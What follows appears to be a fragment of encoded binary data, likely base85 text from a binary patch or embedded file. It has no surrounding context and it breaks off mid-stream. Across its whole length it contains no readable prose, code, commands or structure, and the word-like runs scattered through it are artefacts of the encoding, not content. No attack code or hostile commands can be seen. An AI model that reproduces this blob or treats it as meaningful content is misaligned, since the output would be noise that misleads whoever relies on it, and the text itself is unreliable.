z-}9FFy7(aYI{|-Rd>rzf0q=4i(g^vJ0sl(;G02|^_z&VOkUt;rAu-a7;&cf4b;*x{ z6{kbMZQvjFWoRWhKj0#94dmKi4JCJ#9DZq29&m+tBjkeuj{V4MHTTj!d@jRw2g5#X zCI{T$Jfs-%_Xj*p4Ewa18}RjF*r(0nfKiV157`F!(twwXVUsqW3|RBfRR?O0FZRKlY#q3b%+*b3jvF2ggp)Kr19gJr=^L^HB=LNh#JQeZ}2aIvR zYiS?8f0WGkWVZdZ^AOBWZ9g0E=f$+u{o>W&2gIAf4~c09*vRa26#PBsq0qPO!(!;$ z_D2E#M9lvFT)YYVOXnKcyX}54`y#*BPzU+FW)E0?KertGikCkZW2voT{M=PwjfZo2 zt;WN7@Gak;L7mU90B6MO!HV(oH-kG!z72e~>fa6SE8YvP3V4Xhv(8~+^f7;=m~~Ec zK5qedvKY3^hcBtmd1Un2cqe#H!1Kh^;l_aF>+`6OV)=a7F#mQhV|~0^ zG2kzYCqn*p@geZHoUP7BC1*W97PB7t(QGR}p0^Tm`O)}*%5R4J`GCbXWtJ>yuWo*N`5f5DmSTET+>e@)E#gSook`;xOSI|JS&-URucfHD5q7tS*U z&p2Cu6|+M!kiX<|WBHn|B^A6bIr(2=)KiH1%;xBCVLXSUzlDX8qrZjiow*hi%J0VV z`_QeBqh8iyT;a?)q;OEca3;&}b0mes1J)eQxutNd%Z)XMb8g}9(ePU124~u#aHjL% zBj9Vr$G|rS@{fw)>%wIL-xic#>&*Ah7s4NA6Sk|EHThR1$9OJO%nl)cHz@yOXTHz8 z@Mq3d`QW_)?-Nu1rvnarTKG4~F_sGdA)X4>99so$2YXP@D)hTuM!XnYAcjxdbqKh# zcnjn`0@mDH^*zWHvsJsm165`>7`j?pcJi;W{5yz!S*2^q@T;|T2z+S78cJUm@9}D=WV)UcklVZ%7?S3V020s<> zAH)wq{(QjDoBCI8g&evX9|6DSJeamsj2oYn{2aVIm@BRUw-LjiMa2P^i047xE#RKw z8zJv2#uzK=FGgRA1_ykucs1m80oRMyLVl?;ehhqX!1p^3!gwe`U95A^7%==~ zOg+CHFyhMOw9gLlM(~fsxUT4D0smaQ2l9Q+{7ga7esL*Sb44{-^FKdRQ1qh8G=N_b zPX}ubsV4tZ@|AckJQ8mOr^MU9n6s$!;0(A(jJAq91>9APz8CirqmRXX#4Es+0auIR zcYc9&vb!NdI z7MFvyzE@HH3CY>kodJI)D8I?M<6)G69;~xd8TcCk%h#P){|_W5%h#Q@fT62hOWq^K zxG4U0z`qk8hy0HL|H-+Owt^n4#~6J!E`j`wfZr5D&-TfH)8dJccXVdI+IMkgzuLnt zaUa{G55~~5{eXZ6i7`&v4-0st_#otC0v;!R0rE?oJEQLQS2(jT?cXOxU)q0Aj5hgu zRn|xHTrtKuKNCW^>A%$3^p}5)Zd(HEm$eQQ*`yTDl zXRC+2-P!d2Nx+Ybsq-%b{*9RS$MseZZT^y&y8T^z2>iPEC|K)$CotcS$!j}j!1y8ps<0o+4(u z(*m9;Mtx^}DB$^G*x{@Xi`ifKy3=v+t&)@FYqP^AUCwcJmSVYcGx+n8lQ)Q0fFB6> zL1(jD9KU5Kv%}?`Xu}@|thu@q?Vz>W__r#v8gi}OoygBh&VIcpX1_E)oBscBx#_R@ zx${JP1}T!9oD##v9SX&b;Pztlt3zqP=!1=oO^|C&?z{)wPx9x%wa)y^REIio6BzB8 z-{*iQi#LN&&gA5&V)U!SHO`%>gM8X~J$RAi=x~I7TPK)6JrdN^bYtO@iEA&0v_Vbu~0HXTml{? zt_Hs=;ETmIkY5q-d&TvTe=y*y#jp>5*Nl47|0OqwXMyFr4&;wYJ_jt{b(jafUGl|X z_{{2Q0|eA;0Zi+6#Ki0PNu?_~MCe z_Yg0DTw|akd4S}L!5RY{$>&Ml1lF3{kvv-RX0XOUN3!-&9bspFr@84s);_A^YOuzD zv0}L+?8D!2v-0GH;@#lJfYG*<*$4S;0pB4$06E&QGUT=5=fPie?oa~$vUoB0>j8gD z%)UGvuwuNV0rH=?-1u=ZZSqU;3h-~7JF;E;Q=bki!H2}O$*W@8c74HJ~7w-cP4)|R0ameceu6O1b>@+^$N#YFT z?+N&Q;sVHL27Il!6!HZDFBWGZ|5(6F#b}@37iRt?e?mMCd{@ACi|0VTA>c2F(I$Vp zEgmPGz9ELM_&HU|8Ec(>Bsu#f|MK&y{Ear2X}=qMAmD?}XKjJ}g@9iYKL+{V1Abi$ zUv!QFhJ9H-*9d;bmCVn*c19s`vKXvbHa^?sIa46-7w|ywEXYSWx32|XB%TOX{I(}6 ze%m*J6~D%c-}b8^mmiJgNA7bw&sUw~MPk^B>$KU5?XDER7yRjfw%l>NblncGMma~52L(X}VAy=Fl zD^4?GAlE*b%=b|9+DtPz6L5iZ8^}sK1*|!luQ8VPlANr)QyYx!(m|4whdLL|0S^!O z0`UUK#|Es}q_6pTGwT=n%imTrUJsrXFzPk=8<5`+@Qu!C>i^MzZxL5Oep|qIIA@9> zUoED6)`~H%_?v63wz^Ne4e~FEw}ZbT-UI$-z~2%78gi6lJ!adTVz&F!fS(X&A^(+_ zcK)rn4y-X?Hh)&~$&eok_^@-^sgP?7w4Dxyy{JQ5^sn@!cpW~2mvqjDK3&>~OTdL< z_@WE)yq2#Wbt!c&SOxAWUJdT;TnPJj=`St-SBcRV{&pMdDTFV&3=_`*W89dW3?CRT z0Hf_zM%%_KAxBIaQ-}A9H-WDfZw6oE+-^5m>vg+5;Ds(PIu34hE{?!WV(Pp+;M>J0 z)a6qFuMtDvE}s*R1K%r#&AUJ+>RCJs44sURg1;d?2L84)zwej7`^GZuE5SR&wcwvS z=d!%!_H-F|zsoc8zz4+5;OE3>v&#$OUEo)o`ML5gn%f!IUH&O~HCS^6$5_{t%lUcp zt{E}<)wM{x0^C8o4y?I?uXA?o;qrX6)m3vvejT`<IS{-TG*s3=4CRUPj|geya%kcfS+6M zdb7)mBk&S&EqIxD9C)R;0gU!oCw|Eh4gP+>kBHfqUC!;HXc@}!TCNfNP8M=5?eMf1Wy_um z_yzGH$mQ!?^50#~{ZiSR0k??J_wH$NHMp%9{p#L6;Ev**koO4qZ1GXZHRq?v10_EW zt_ir-IS;n!F25Vg?|k27_lYV)o-9URy36l*WcfYs2v~kMmfyMG>wdjo%l&Zog<{m# zy)ob>@l?pQZ_JSIkbD(*b--)I>ma{3;QPhfA>ZuGHMcwZN#C`p2Wt;t{5{FXLH@&l z9}~}m{PBRF6hmMB9*osV)_7=h6#OU2$$xQfn*qNX@N41<$d8|5xYX)wTZ8Y&Q0yD$ zOAZ_MQ0#N=1)Wayj=KJrw(ey!KYfsgK40 z-@nk~laljV#eO0A^Db{U4t#&W4~Qp2{`G*rC0+r!=7Dx(%>#UWzQ-<=A@3F+1pgx7 zUyBbz{(EQ6xBLx0+O237SbG5Dze+w2a?J@v2oLRu~jV|ZhhrwYT09-RR=g4X#h}cW z#W6|;W)v%e|WpqIv&@w+8o2f4;rihQ}`Y-?)3u#wdR8}zz1 z;OoQ(AlICeB7a13>H{C!wawsFVx;`7I+K$%4pXpyuMLuuzaV}H{Ggcie@%Q4yfxr$ z;=_<@tnzbm{H-Hv3%=|1D>3WQ7*4Ug=9AoFu;!E8-eCBW*BWa)=T<}hrsU)naXr4@ zDjjfJ@kIaLE7rsBkvLmxN`K6GXP0{!;|k{i5#)mc9x5(@d}P3*#dVO63mEOOtpSrE zS6o=TiVJINu9q>sUgZl=esRDUH&zeZy*1#Eiz^}jWWaZd*{Ffh#2^V@y~*Yr*FSJVLw)@=4-x;LF7C1y2ch zsu(`$Ju_g%ptU<+a<;ojyaK#TjQVhAqmz>2{h$02`GahqeII{YhO&85_# zTz)i0y{xClO339$WBIXX3Uc|;Sbn4q<&}P|akUuw@O##*&eh=`7(OsLd7k(%_{M-g>__r;wZ-~1XY%*A%P~(`{R_Z$-S&ak1}r~z zI{^6?Bqx8#xojNxYXN^#+yJ@!SVoo~IrjK_X|$X5SAMkqYV9-D{;lhDlz-OC8~<6% z{wf}=zpqKoJ}Mrq?mx{R##k>4rA-@>zc_JFlMmeCIDBxm2(iw}Wujg=>F79R(H&$*QCKJ0A$`Vn5Y zgr58!zrLDp>5INkcp2*p=G)dXzf+y#Q08ed>-A|4ZWS;J*iDT3k+j&dG76 zKIgP`rVi({6T_b8babXY`FnZRM~u~TvH_QiStt5qWuU`3gT&B*-^ob1wR@qnwL9L~ z+MOh3yJ*AeVY^ertbdxA^~>*NtbdWqtULYik$2j_rKT z8kM0ApLOoG1$=K%<_nS^fINutbG{ao`IeV4-M%YkdF+u|+j`vPrt_1|rt@#a)blAZ z{c=!D-JW+g-Q;V|Kj$dk&0nv38Ph@WUWPLK{z|h0VydE03|m#izQ&lZh<%MQUlIEn z?N-FTJ`NtL`VWE67gPSOK(2MRjPlEaGVgKj9zp&AaRGRS80}On!2TWn;$OvL@metA z*W~1-;&oufY0v54&v-pOF=i^(2fWcayA$#+2mDp>F39D(ELpzG9t7hW+RYf}$i3!3 z{%dDzS8;0B{xPT%acbAnwto%yWiji2Bj7j1E%@HCWWZ@>w#)CzWS#6|Kl!UC?9eYO zIT?1ecAM$LZJ}?pr|GY_%b5ka;*P)f-A{36thmd8{rlrOUTds%Hs=?R7fVhq z5yMCQwYKJv&vtnVKJ4Ew;DO>g$VWL-xBeH2ZwD&|dy_A5c^{0K{#OQkm3S@W@*Vd$ z{jYU--v~TE;6>s}$eRLgcJ7B*?vM7^Ut{^SANtpSjpStcw0{No0hgQp4~nVtmVmd4 zk3z2Xv^V*OE-z=leipENS`Huf-zPa4|J1FVwtXhx=bZc0L;hmGuZY(|ek|bQVvNrL zIRWQ6_l121v=3M@%e}*ZGRetV@k8ML0arO!z^((%4S1Ls`V6=z;CG9+LoQ!ekTv(x z7Xzkx8RO~V63DL&_&RY7Sf(#3`?$OxY*MLM zX5TBTB}d;YVQXH?{_=Z!%~tEc@^3%3CI9x@36A}Xe)BtgWBXLj7PI_(XWFMyK7}e# z%(FWVK`W3TQUa{GC8`^rz%bdf$?-8#8%XbyD+fyz# zyZu2-yUAZ>H~Gu#_L`UJ$G&R~rQP^l!_3L64y^Thtlc;UAA)>>>SsN%j}C+1qw*L(1GWF*+&^$eP|pJA za}GehSoKiPCC;?Nz-40UBOh6L&8yb0dxP@#2j%4>{zmY?tuBYzqJf%M`JKrF<-3Y3 z_(?CrSR42&F|U=sI1dk$zc>a4zTjmTBLfjvv~!<&@ZSS|U5vg|p=~R(7Mv2pR{XrK z$;ol7p=?zbmvfG->MmXnE)N(T;?e@B&au31%= zi)+AF1^fXq{9iRY;JM;)kS_}OW-VB8go>hvw zJ{ZeYD97@~@@XH||2@gsNBNZNc$M})X1AYs8MBYp$_m;?`ya+&)qXEy_Q6;*ooS!v z#I%om%`sW^isbBQ%(6x==L1Of)x<04} zId#+xrOkdYAV;4qohBo&w_Rj zw!>igk#-m?KU&}AM`QW1@;J)et82;kI}a=de>LE5h#MgPZooef(Kd$ zln+=7ep<}_{wd(UI9nfI7PDV}6SFVJoJ}|AYHdNEAvpo(iD9=Pibwixh~jY|^chm_ zWvI`P3NiEkYB5Y4gl(Gabz^u-YQm--Kpe>uj6 zEcALz&zr0=A zxgGptG4@~faTwTuwVRJ%+@dYm+>-0{xz0=xnCO+` z3@#Ewx1pWXF6=q9tGEQLI32)i6{qYwf9u)mnFy9oE2n@*OHLjuo(0x^sd6{?a>-$b zq4McK*kh>nO9Nq#p}5AzBzcaQEHJBUhTC(QqfzY$2Kyos4wK505odecBigC@~pRh8} zxu#0I5`1pJ!^Ep0kLPD{JU_1mU#2qTE5)#P4Qyoflc$T(ubR1H^sDB2@hpwj;4$KL;BjJ>fvzmi z_drII#kJrDF|LcIJLhi%&k|FIInL-(6wMQ(zG#6MWuwJn$f9OvzBfBsA*K#1o!ixe zSBY1Hp(}MODgmz-mx4EnF%}}|VP!Uhw>b0jp3zoke(o~bCf)_!?#$20Mmxm^z&OWx z_?gjYuXCqn@IEp1+3(EHr$@Mk<@x#a=%9EH7}uMe^&An`f{zB}j|JtApDLfoIP-I3 zi30IdaIttg7`9;j{0v#5RNM$I6E}ggV%Q;3?#$PN68Pt}{2WrEQal-4?c8-ExJC>e z6SdBK-6v5eW}WroP2e%&?O@bp^|P%8G25CVW?NI8`I=N>x_BNK{o%Ey!yGYnz&XnK zniSs?V0-|)*x7Vz6jO&LG0Q+#mgnnJiB;m~!K=lGz-yiPdT|2%XZhZ^F0o1c5O}jQ z@5>U%vrL~17&;jjfVYZ^!P}g9|C@kLEK|`8-YG_#iCtoxPwaN){a|8`7=23Y6|VsA zbLO+4#6f4%^La7bI^=A69(L{%L4HJB06r>)o=KdeZqzfG5^q6@zL}i;z%^t(<4W=x z@+zby&K1o_OU39{vP{f=XPw!vWVsmqN}>;}htIf@mCo!}veuc;nv!+SR)4*-)iXxS zdL}#bnMSg~nSD=Aai))wQ^f^Hr;FJS>I5BlPo112rvCGs`$k9?h%1pU7PBq3jcY5K zkv55WE%TIbN4mn9_qIvu1UaAiBv*;q?rJgXoz*`nLu)rv-NAUGoJ}0sRzoN z{#(SXgV#`g4Cyv!J`+e%C&Jf(Bjgk~bI+VpEM5;T5$^++I&)8zQzotf zXT=M^<>KeT)y@N;XAa8IJ_FE?oZ6s#op=l6^FlD&J;1) z&zUMl`#Im*)Bi7&pEkOzRl(Q zo)*rNt#ag9p6`j`oD<8F^)BbSz&W8+E+6&CLLRi6RJ%Q=L%uI4zu)WO>(M!>Q}TFh z_ilh3|8f2CnBja#|F+6kc|Cm2ld~?6ua_L{=j;vS(1HEp^Nm#XDS4{Kl~_Up(V#q>C4MIwz(@ zv**pIT0FaPaa1*H#^M=K)zvrN7@45zrup;cUN?K*NAQIE2A<>9gR5$g8H;Ajzjihn2&y=ZXx`lUv*TLPXjC=xhU>4N zJs&y-*Ilz{#`UwK|KJbfB!ZoI|6qTxBV)Jq4`agqa1Rxc>n)eKY8&>w@Tq+{1+VA1 z0{nAfVm=4|_#3s`)7B%;@ekuR%HaRMD>oQr0{yH$jIY+eSigEmSZ;`)sh^JQ`<(5_ zay;Ll)P#}!KKqroD8nSy?^1Bk-?`JH=)D+s*55pxV}BuUy#{zU#$fJMfcP)2??wn> z2Cm2bd(HiEq2SznaM13fsBZ@Qi~HHAti z72|N(L1ftHGW_#8_8ZTjgZdKhg>RFege?BE`fi>vZ|ybMo4m-Nf|(k0EQ zUO1OJgFJIuIqF^d+?$Q8V>#Q(*&ZUmQiNm*GuzqoZ;>6zY6uuP8gLKFUE_R(mjtke1@V1Z9ewW_4=>7qES#8C;*7 z_>;l6!odmXS_A#6sVj9`GIsLhVHdZw4ERKJZ1f{7tJrSSmj*P}Z)jOL678bC>@Yl` zL|TTr%GoBklyxF4p)N>^sRPmi{Abuc+dfm9wHvWY?!-UJOlWB-g>4SWmnHIL*N8whifapa4XX85ISIqK5*DrTMV6Y9eU?PB||&0A~?xqVOu_F2HXo9^q~ z2ph~|y(1p62UjJu#qt*Dai7^|9PJU?2sVwDZhEPadD<0v?xPNM&FCBSsHKhLK1vtV z7yUauY4=GRqAbg4%pbYyS&WH<$0qfmf1&eK#^Jw-(SrZevAC>vlvy?g{l8-}#|mR3 zLEB2tV@-GTZsfRyt_96=&3=p(iy`_1zR0kAC1%#vc-}mK46kGSVoa^B-KaQgwm55! z$I+7Js4x6df-%E+vy5?e=d!2(^HP0PF8X&%x5oN4i3W}l%ty)58xqqoC+!61fcGLz z)o(~NTa1*mpDibR-bxm*O^zwF{~3-YGRG2qkMhOKP~Pi_N>$Hp$QauR)V&?oCv^Rl z^=qOz&>^MrjVzBc>VbmujUnK*uyG%w4tUB(c{Bd$qcPT2Eyokp)| z+4y!@+$LgT^?%X^%TkwE2b&kDhvJy+#I}fSTfgDtX4s`v^HCZ5L0iRT<2=e_VxG`) z@=)DI)U^};*tOI)M+u)xPt3--J^zu;oaf+^Q$CEQobus`U%uTofe%xocbsf6-|RS9 zA6#=UbQpKak0(Akq2ug9j=neA2c|Fg4Z4@}TB7pwwm5zj*Du(mY#G+Ccn$B2WB-8VnUx>(P0 z)M0g5w5!8D;xCZr{Jlu4f&)Y1^IJbQk_FGGQj;quh zS94b)D!vPI>RqETu4Z7)!@dUNt{h{oLUZ2{UvrX;%P)#1(^gH5-5NP|IEGrsPZP&M zGDUmcS!e$#q#67d;J+CECHUw5A+v0n?*TZU+&R_Dj^2>W4*ERDP_oW!bJ4HO2Al&{ zH{l1^&|j=iCE+>9Z9n4Y5_^~CJmz+5!afFTF3M-_T8=&FGf}bcXA%{opkGy2%)j?M z*EnJrY`D?vQ`vg$(zjjv$EbMen{PI1KXhmru6awpZQV{3-1S4m%@3m#{xkSzz8L={ z_%CgS9?L$cK3{-7qyLPbyWYe;ZbLL~^qOc^*e{eXrN2+xXN(D)w|yGM^hE3z3NUUa z^BOC^qviSfHP};Qe-@7+oNvv)rS2Uq+ul}gGsh{$at&j(b2+QqSkHKWDm|9cY|=o0U#3zlk3!{6H= zZ}o3HFKWy#81XQC5cd~j{%z;yaR1G@Xz4SrweG<=J~1AeVe`sXzo9?ymHX`sbL_Ga zhyk{T@fOE2#>)z}0aVx6;XMWFYM@Sah%@R{yAw8|oq4|) z=*IP$Yd|g5Y>cTaVvP5dwiZli`Nt;eh`QEud}3Uz#C&$9``mdP_s}N`8&-@$d&@J}gx zQ-+w&vVYKx>-63w)4G=2(Z8hybySVs(Xw-77IWoa;rBLCbjLYSYDv#7RiEo0rT&w; z(I4(lVRtaI3SuXEYOsB=`;64ra?c<8VuQ3tzdU!0giTfjbbNRx<->bSqdvZJCU zqq)JFWHwtlqhA(vcd0@h#q@>r zDPJ}g`}$9CUmq2?Zi(Wz*9qNfnm?wP+7MN<@3k}WgOM9bE%u?~ddiyb!M5jlppM#$;2XBIXnoeUM*!<-4utg#qr_i(FG_qCil%1$XtZi$J zwfmzw?4KEH6W3r)S%dim`<)8xcPg>psm9!1gBYwu{M94=#vuO6u!q?>=r-(eu;0dB zWb1&B;|1D}AQle{ZEX722+HQbp0$wUo-fIi_k3#y-j2BZdQ{DMj=qfVKPI#s`Rj;- zoP!dTD2uV2m}6x>l^nzUb-cf;;{7xBRahG`yw6;|B&ry6kL`zQF`s4;Q{2zgVBb|K zu4uj=*JFQ;`|=9lgQI`e6ZdoP!)$68hH>qercc}DBpUP|AE z_Xe;}X3*!bzqt?h9oT1J4^+lybElrmCH6HhiLy(__?``WmkQ`yyzB$6H}^r<^JEc= zJMa1{p2v;CT6zL|pEZ%S#l2V99_ELM97mXc%D7J43g6ud-z{0TEV~^3!(OCvIsCUA z{=>Xfi*=)JIedsYX$DCs^EwCZxl1kbM zx>e%YquG->OlbM%=P>?ua$mzbxbL3O^3wP->VC?OjkF`%4Eu(*%iaGcQ|}xruRP*9 zwnQv5`co$ko~F#_yv)f1r#ZJo=XM5TW_R-)(PXZt93x!onm&f-IT&BqLv4O*zg}F3 zy<;VGth;MkR5AMNC+o1EPuw{?DuE5E=`;LuUp8(e`i44d!@f1$jC+7DoZMf#F{-U? z_V#dn(Vgd=dcMZ?SKo|vZbLMY_P*sO-)^M+IW|{+*XKEw!JJ>Z=JlxZmS?^VADmdh z`l#0}k1>BNw|>ou-QL#|`@%kq+R1W%eGvXB;j?Lut=2utDc`(ht!Fvb8<#_S&8$<; zBzW)SdyPjeHvO6Uv-VtQjP5<^mX-USk@Gpm`54R*Yr&W!Y>wxed^o6+&wQ%2zyBXS z+ps>q^_fux=MLC9F`?z<(TJH6jQ@hTob9imFZ+O);Frh6&w6J4|Iy=r(hkdTY$7Hz zj4|p(ed0NhW05)`j`&RGw678T-_|jHuDPW51kQ<3)9h{^;eEoSTQO(BW_(^7=wQz_ zIp#SQIOaJga-PPz!DpcvtTFbi8_&6WX&$cU+&T=`U{107J&c9oc)rIRnPT5L$IwpZ zFV+RSy!AfnFMq(e-`_e0Y0J01uG4_MZv2{#t^3HI`5Cg>{NKE810DX&>k)~aSa-Be zC2ILP1m_#*QltH~=|-C%J}NQ(>-bDwF<{R*n2+Zu*y^qKNP7OKy0+l@T3uTb+f?WH z+%S%=h4)uuB&!X| zO^od|VyF8Pd!fD1!R>@Ok>iKg#n<56se78Y%1_RwcZ$Eue~hkcv0h$ ztFEwp*s}3h?;ngNFI~^qDRQPSZ^Az49@->lGs25&QT?*oQ?~IK%-L7FF{+Q(B0dLX z8^h}HJZf5$TJu9Zd)CX%jpT`~u_H!kix59P0b?<`b5uu!GC&$!?KVqC?O%7tQ z5%)*zS2>))$2=5)SkE^&9;{4jLE zvt;CiM(jn+Ce)wT(Y9EBvzVW1sWaz%*mcgS{w1a&9&FEy`^25r&l6EO>MP}V(O!DN zJN8ja;PWQ#qfSnb*NO=(&kjU99UQTd`;Ze;<7YlLmY#dqYznSzowLp~es-KV!2PDp z2^u%3Z#Ty{#(L|#A%ABu&fmJ{!hLYu#%kOTay+mujxFS?mtOO9{!}S}EkD={uS^h=st)F=rcHhF7#dT{rmRL9T;kTi_O>ZmvDBJdSPpsrQ z-=9D8Aj(dS^El6S``@fx(ORt~t8l;A7+=SDVBO94Ms=nK;(~eFjCq}l*CAV1D2uNT z%GhfiJO_JJU|-mF^t}mt55txHiih((3`_ctt6DPt@{%Rv?fn>8#L*e&;w(BJ8JHi$iJ zypPa+_1G|+(`$XUU&TD=d$#qMGqA_R^~LeCXwGM7t2kc2kWVfBGoDH7y%QYkns--X z{MhrmWy`d`Kwp-lFZMj~49}$p@p;OImRgVfmSArgjeEyDjD0xTFGqPFA6VDuXTSF8 zdojM6Io>?~`)83~P}|HorDePMOywuEJiQRIhIpKCOtwZ1=Rg|+q8d$`s)8f#NVahQ$kisx_JCusi*TiR=Yyr<&%)7|H> z3}W=(+*7n{{$Gqsdxp*D)tDpw`SobL)-?mKbuGi#)H7`CJ?eZsCTh6X<6eLH66_iO zh_U#C0gX*f-5P!07VRDBW3lv|V=)oM>n2|><=EmgB#u9<$M*aS>-n5vxE`-n+iTR# zw?y^~lw%O(i@8q4W7GFm(N2_4-gyB&bdkWi$9W9;oBhxSKHtXt_Ks)U*h@^d>o-IV z&3GM;dpi0RZ4|J5#t6pD3ak;Qd&W|aF==xrtj93us)8_rn%hnMTa#WpXXkk>m7VjjD5PjCkppte8ySg_g~RQ zj@jlFxZm6uCD@;)C057EFn;-71k^iy8Qvqb^uBT2Lp5;Tw6z@bW;{OWNBWR+M?9y% z#$~imd`|&8RdC(l9spyv^*vm?me+-2fY;VeZ)u6I<#pjTJjeZEYiuGG;(KD~t7kG% z9rlm)@|`_DSAWWzXSUuqahTB@f znV)4qFZuT!&-3DViN_=S$k$@u8KdwK_U{X*J9Rk~qrc&MhW2?(YQ5L_2`#@FZ|nU= z^mQlxwTD2goe$DP`2PuP6s+&)>z32k z+0ue@55;k+xGR$lN)UfzcIDGHZuq?(M?E|~eR{lzW7b(#G!`Eeu7saaWSFvB= zYwg^(@bv?|)|OZY=6f*ZWhQ;Lo*8{Yal+Z^mk^*)cp)aH-cbMGOwcwLJ9rXJLb z_q@`h9Q%d%eIccst1yqSyv?~-3mU7sQQyR>s-Bh>W3NzY`|DXxn?LRKLOg#!nRUYu z7fbIr#yBX){>av9aH+*6>JG;r%GNEtXPlQEjcum9SPWW*B zGT7Su4nHi1AGD8Oi5OW0U#>=cti>~&b@6j-&iSE@G2d=vJ&60ne^S?S*cJ2ct`Qhd zh@(>Y#O_^D->ld_*l$g(n~oU9*o)U7pa1Zl)%8(^=R*1D9W9mS&mAob=r@~7eP5Lr z+#8#;xn1x&MN2_o*2m1*EK`75o6w;Q{0dB`4JoMod1e3#`&K1b?ghr2V)#Q*^KqkpU-TFwjyRV zM)BVF4IIPKoaRTcZe!odaj5yG2DUH5o~}Z%Tfq0Y!f(aB`eCf1ou-*xieaNf{QMVf z#LtsU-(Fw+7h1NmKF;B1+OI7?foEup$sH~GV}0Q#zK>e|YZ(U{Z@2mXLF|=&jOW9* zMrD{6E=(^(qFd=_J^<~-(#~n)&n+LL0bm)nZo)8 zEXQki_eK@fGcg8WkLj=n`gz*>D$3`~j8Ysgu%q8ouuY5|*w9|j32fNv6IGL(vY2b14Q!|BVDxUrUi@9 z%-s3*$)@b$k1UwYI!EEZKmG^czw!Ecm(2d~*m<-0*~g1?>G14)eC{zja%A?BD<@9O z_QFN~u3WF6-1XK=brAJutE%w5Fn0auS+ms6nAtO-aI9#2`878z%8s2hx#246i1z*` zY5bJ2WB!}E!}2m{+tb*17CLZd1D{5ph8b7So1LAxXm;p-+O@7% z>^IoTdVc{`#0wplTt&))nZDD{_|WQ2Gyk2NWtY*57cZK7^-YUsyVcLANfgcYQIN&Q zccJV%hAZov&ktVK^%~vKFme194NxxY!!gQ^AH)C4$G!_PORqqGE@>FwaFx>WW3Rxq z*-IuhTsmRwCBRlTIRmrRDaRd<>N2BvSDoYzw2?f_vK?RyK?;H zW5=Mb-s2}to;aQeeivQ;pVc{Q_BC{b`|^?-7MtV#y$S1jwRRxNPQLQOiQ_NIqKYVc z#Z^}{jGg2RXL_CE#|+P&*%@Bu^4Zt?n?gYu6r8eeaa7{dptG#+5hnuXXW)O~z9>ab*~c9DG0os_=yqn3DSnzaN+vQ)FlR=U$)t%= zsa%TqjUf>y(`dBibM^zLwqAy(q9~KJQ|VOhTznoonehuVR*iAWJmXl13mOe`Szw`+ z%1O)yPtBy#7>?1e+TakSv1~+Nb{tQseE_%;^e24VS=1*dD#)ZS!qS_=Dx>sR92Q2- z7lXf@imaLR1Z4i?$d5IzH_YpZE6ddnesVV|%|qRZTdaaS%z=qpqM~WnMR|j8ZehyB z#+iT%0xm9^))?jCledW#B~dXfpBR9CC%WK&t!eBZ5su39@R`zNpGWzn)cx+?;)Zz_!{^_vgOyw?TV&deNB}24P3cRcHP4AvgP-{qh!nP<3rLP z&ALtx^8?f6&X0h1S2*tg|EaQQ+D%tSd5^NrYA`hW5jCp?L$$|Pf1Q`dZGY~edgq^l zk6lzWZ62evn!mW8#-T#0KY)+sXuUAm=S84S8;;TUBw z>=L((QwHNMbNNJNFxaAnla-mq?ldTKD~c6ODaCm-dK)Z#Phy;MA4l#3iHXYHfr2xW z2bB91dR~$|sNAPWUZOoZ_FNZoL0$rtq{q84 z5=heH<=h1OwouOH%$2@0W6h*XsA@W66|~Ds3`XV?s$d8?u3#uLX`R757u6P+MzxTC zUK)1Yo0psko$m2s$=N72H6C8qpeu9Y;dL!b#lve3JiWGD*I;^x7RGMJ1Q9KbJ$)To zx^jw&&0{FcQRaGP7AP~HnMP%9Ks#S;R%QV*53f`P9*h=lRAv#c*`&;k%siybVrI4~ za}zV$mARRjUCMlzwe6una?yU?SIr<@TJsNEKCd|_b zmPTHKNfKz+bZ4I51e7UKz8mVmrXVwz3p$2r6<~OvmuZf z%^{Guh2ohIYY=DVQkIob3Fm?WUv&yrL{W!_i;EV`_;6H!xu?U!zJeEE28dUk zg4@Zy>J+Sm(aW>a0X=W?d(&}(^*kSDYV(pQl`Z%rz9Yq#gMv>5N@1e9;BqOo8r&qM z)&xqeHKn{mp9z%uY@pQLrj!)PqOF;x$U#@6Hw24Kk-9=`YVvD}uDRS=a3{;S>kA(xt8+i4P1U*Gl&f<;Bdc?dL!Z9t+|Qvyvc^05B+Jw~|AOqB5B{R~ zx%=u}{wvDIIR83|&MzP5{2R&}oPS655mvaL>>G~4r^wU2%+usq&IibIod1BYQaL=& z`5Dyz)I-h(S!Rp#pD-xqY<2!KZL-bzFD$d&`33S$=R@dk zzt{O?@;>KR$orjNWm^ZFk6`paaM1a0Xqwc*NsuGv*moBRp=WH?XwEG(?IK!RkAD1m}pS08*;S?->nrUFbVgVo0zI|-7Pm= zxgOTSEaiGyZjN$@Y4l;9a(yhfKskhWk7Q!8a_88&M&&A^sO+UglX3&`(`(xj&B|3l zvyO?a$_?V|lh~$QwdJ-ehn4UA(!@^XYOIA_%AISu-O6F=M9DqM)!Mne$_=wR_i2`b zo<)D=ER{djXQ_S=ybep^8R3C;w+n@dil#cewcGuUpfLGcWL_!Nncv}!{pDrK>_?_LtISi#Tvx8l?~%E?LK#dt z!**9HgIQkQ_t5$|bK1`}7!l}&OVhTmDqcDOK_ z*bc+{tk-NJYR9pyy-GWb?2^k;F2~R*c`)M)&v(9}z;~Y#6rAawL>JFcXzeR5eFp?);J>yN*=6rMhu+y zg}S0EFCQPZLj;sOSnu-TtY?h#2=X}f9Sxs#l0&!s8(AEqsreV9`Ez>#qsWd4J0|Uz zW5<*ob5+A-DDT_U{HuTy%#bDd?+3572J@!^ABc)>x^Z@t{{gn)hRpvU*$tUL4Q0-C zL*`Fs`C?W7K4k8rf*tC4)RVRRxe$E!Y~)pJ5%NE=VqaB1?nC!4GfmIf13R0xW1bx| zc5GwEwsy?7V}TtD?byzaMRqKECTCR5qsV-bohzAYHkha`J_*S&Yw&;BMb(eFqU0N@^I3dxc*U9ORC$DK z#~kn0E5Hk^TbXyJegbls$AUROfgFNRnWRObGFa{rhRUEh#Gx{17J=BCfta62 zTO{gC2AMm2;>=I9K|9APdgFOHinWE36+Ut1C-SL*Pn`LQ0-TxY6K8$`sv{m%8~Rl8 zV4duC96h_vy8Y2E=s{GMpTM-%`4W}ItcKnygIVoVcd;)!)!mn=dfZ*uACr!*fpI%u z5qB5fIMrSF<5YLy5KKJ1@p4Cg0=u)ag1EP@W4J!x%S3+S4V*a<_x2cz#l8I}^^AM_ zFJx-t-olMh?QlLC@3fHp?6lDOS)ZTyEIlDL?+*L9F6`&$!hU|9I>-IIhncva>)C<0 zpZA9S+z|E?GXVOjM!&#DK zzD#26YVBjvRtxnpX&Wc?F^T!V^nCR(If5DWkzW*Cc9!~>92xX6c>yzZz30xtI7yCT 